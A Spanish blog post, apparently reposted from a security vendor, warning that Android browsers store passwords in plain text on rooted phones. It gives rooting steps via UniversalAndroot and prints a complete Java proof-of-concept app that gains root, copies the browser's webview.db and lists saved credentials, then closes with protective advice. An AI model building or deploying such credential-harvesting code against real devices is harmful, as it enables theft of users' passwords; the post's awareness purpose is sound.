Banner 1

Tus contraseñas no están seguras en Android

Uno de los pilares básicos en los que se basa el modelo de seguridad de Android es que una aplicación de usuario no puede leer o escribir los archivos de otras aplicaciones. Para ello, Android utiliza el modelo de permisos de Linux sobre el que se ejecuta, y asigna a cada aplicación su propio identificador de usuario, de tal forma que, en teoría, previene que los datos de nuestra aplicación sean accedidos por terceros (o que nosotros podamos acceder a datos de otras aplicaciones).
Este modelo funciona perfectamente siempre que en el sistema no esté presente un superusuario que tenga acceso a cualquier parte del sistema de ficheros (el famoso “root”). Por defecto, la mayoría de los teléfonos Android que salen al mercado no tienen acceso root (salvo alguna excepción como el GeeksPhone One), pero todos hemos comprobado como, invariablemente, han surgido métodos para “rootear” todos y cada uno de estos teléfonos. Últimamente se ha llegado a un nivel de sencillez tal, que en muchos teléfonos es suficiente con instalar una aplicación y pulsar un boton para conseguirlo
La mayoría de las veces los usuarios activan el acceso root a sus teléfonos para poder instalar ROMs personalizadas, utilizar aplicaciones que requieren acceso a partes protegidas del sistema, etc. sin darse cuenta del riesgo de seguridad que esto supone.
Uno de los últimos riesgos que han salido a la luz pública es que, varias aplicaciones, incluidas el cliente de email y el navegador, almacenan las contraseñas del usuario sin ningún tipo de cifrado. Lo hacen así porque confían en la seguridad por defecto de Android que asegura que ninguna otra aplicación será capaz de acceder a esos ficheros para leerlos o escribirlos. Sin embargo, tal y como hemos visto anteriormente, con lo sencillo que resulta obtener acceso root en la mayoría de los terminales ésta es una medida claramente insuficiente.
Alguno podría pensar que se trata de un simple descuido o pereza de los programadores de estas aplicaciones y que puede ser fácilmente subsanable cifrando esa información, pero lo cierto es que, en realidad, lo que se está produciendo es un balance entre la facilidad de uso y la seguridad de la información almacenada. Proteger esas contraseñas requeriría a su vez tener una contraseña para poder cifrarlas/descifrarlas. Y… ¿cómo se guarda esa contraseña? ¿en texto plano? ¿cifrada? Si la ciframos necesitamos a su vez una nueva contraseña pero… ¿qué hacemos con la contraseña que cifra las contraseña que cifra las contraseñas? Al final siempre es necesario que el propio usuario introduzca algo que no puede almacenarse en el sistema y que solo él sabe (o una característica biométrica como requiere BioWallet).
En varios blogs se han publicado métodos para demostrar este fallo de seguridad que requieren un teléfono rooteado, conectar el teléfono a un PC y activar el modo depuración, extraer la base de datos y abrirla con herramientas específicas, etc. Esto provoca una falsa sensación de seguridad en aquellos usuarios menos experimentados, ya que piensan:
  1. Mi teléfono no está rooteado y por tanto está seguro.
  2. Mi teléfono está rooteado, pero para extraer las contraseñas tendrían que robármelo y ser prácticamente un hacker experto.
En realidad el riesgo de seguridad es mayor de lo que la mayoría de usuarios creen, ya que:
  1. Si tu teléfono no está rooteado y se pierde o te lo roban, conseguir acceso root es cuestión de minutos incluso para alguien no experto.
  2. Si tu teléfono ya está rooteado no es necesario que te lo roben y lo conecten a un PC. Cualquier aplicación que instales podría ser maliciosa, acceder a tus contraseñas y enviarlas a cualquier sitio sin que te dieses cuenta.
Para demostrar el verdadero riesgo que existe, a continuación vamos a mostrar cómo conseguir acceso root a un teléfono móvil en cuestión de segundos y vamos a presentar una aplicación de ejemplo que en pocas líneas de código es capaz de acceder a las contraseñas almacenadas del navegador y mostrarlas en pantalla.

Conseguir acceso root en el Motorola Droid.

Supongamos que alguien ha conseguido mi Morotola Droid que considero seguro porque nunca se me ha ocurrido activar el acceso root. El atacante solo tiene que:
  1. Descargar e instalar directamente desde el teléfono el UniversalAndroot (hay muchos más, este es solo uno de los más conocidos).
  2. Abrir el UniversalAndroot y pulsar el botón “Go Root”
  3. Universal Androot
  4. ¡Ya está! El usuario ahora es root en nuestro teléfono y puede tener acceso a todas las contraseñas que han sido almacenadas en texto plano.

PasswordsExploit

En el caso de que nosotros mismos hayamos activado el acceso root al teléfono el riesgo es incluso mayor, puesto que cualquier aplicación maliciosa puede solicitarnos permiso de superusuario con otro pretexto y, si no conocemos los riesgos de seguridad que eso implica y se lo concedemos, podría estar accediendo a nuestras contraseñas almacenadas y enviándolas a cualquier parte sin que nos diésemos cuenta. Para demostrar lo sencillo que es crear una aplicación que haga esto y que no es necesario ser un experto en seguridad, a continuación presentamos un ejemplo que, en unas pocas líneas accede a las contraseñas recordadas por el navegador y las muestra en pantalla (una aplicación maliciosa por supuesto no las mostraría sino que las enviaría silenciosamente fuera de tu teléfono).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.mobbeel.passwordsexploit;
 
import java.io.DataOutputStream;
import java.io.IOException;
 
import android.app.ListActivity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.widget.ListAdapter;
import android.widget.SimpleCursorAdapter;
import android.widget.Toast;
 
public class PasswordsExploitActivity extends ListActivity {
 
 @Override
 public void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
 
  try {
   //Get root access
   Process process = Runtime.getRuntime().exec("su");
   DataOutputStream os = new DataOutputStream(process.getOutputStream());
   //copy the browser database to a readable directory
   os.writeBytes("cp /data/data/com.android.browser/databases/webview.db /tmp \n");
   //change the permissions to be readable by everybody
   os.writeBytes("chmod 666 /tmp/webview.db \n");
   os.writeBytes("exit\n");
   os.flush();
   process.waitFor();
 
   //end of root commands. Now just open the database and query as usual
   SQLiteDatabase db = SQLiteDatabase.openDatabase("/tmp/webview.db", null, SQLiteDatabase.OPEN_READONLY);
   //SELECT * FROM password;
   Cursor c = db.query("password", null, null, null, null, null, null);
   startManagingCursor(c);
 
   //display Usernames and Passwords on a list
   ListAdapter adapter = new SimpleCursorAdapter(this,
     android.R.layout.two_line_list_item, c,
     new String[] { "username", "password" },
     new int[] { android.R.id.text1, android.R.id.text2 });
   setListAdapter(adapter);
 
 
  } catch (IOException e) {
   Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
   e.printStackTrace();
  } catch (InterruptedException e) {
   Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
   e.printStackTrace();
  }
 
 }
}
Al ejecutar esta aplicación, si ya hemos activado el modo root en el teléfono nos pedirá permiso para ejecutar comandos como superusuario. Nunca debemos dar este permiso a aplicaciones a no ser que confiemos absolutamente en su origen.
Superuser request
Si concedemos el permiso de superusuario, la aplicación accede a los usuarios/contraseñas recordados por el navegador y los muestra en una lista.
User's password list
Como conclusión, podemos dar unas recomendaciones para que tus contraseñas estén un poco más seguras:
  1. No actives el acceso root en tu teléfono a menos que seas un usuario experimentado y tengas muy claros los riesgos de seguridad que esto puede implicar.
  2. En caso de que ya seas root, no concedas permiso de superusuario a aplicaciones de terceros que lo pidan a no ser que confíes absolutamente en su origen.
  3. No utilices la opción de recordar contraseñas en el navegador ni en ninguna otra aplicación que no las proteja a su vez con otra contraseña (o una característica biométrica como BioWallet). Este consejo lo haría extensivo no solo al navegador del teléfono sino también a los navegadores del PC, clientes de mensajería instantánea, etc. Cualquier aplicación que puede acceder a contraseñas recordadas sin pedir tu identificación es porque no las está almacenando de forma segura.
  4. Utiliza un gestor de contraseñas fiable para almacenar tu información sensible.
Fuente:
http://www.mobbeel.com/es/tus-passwords-no-estan-seguros-en-android/

Links de ayuda:

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay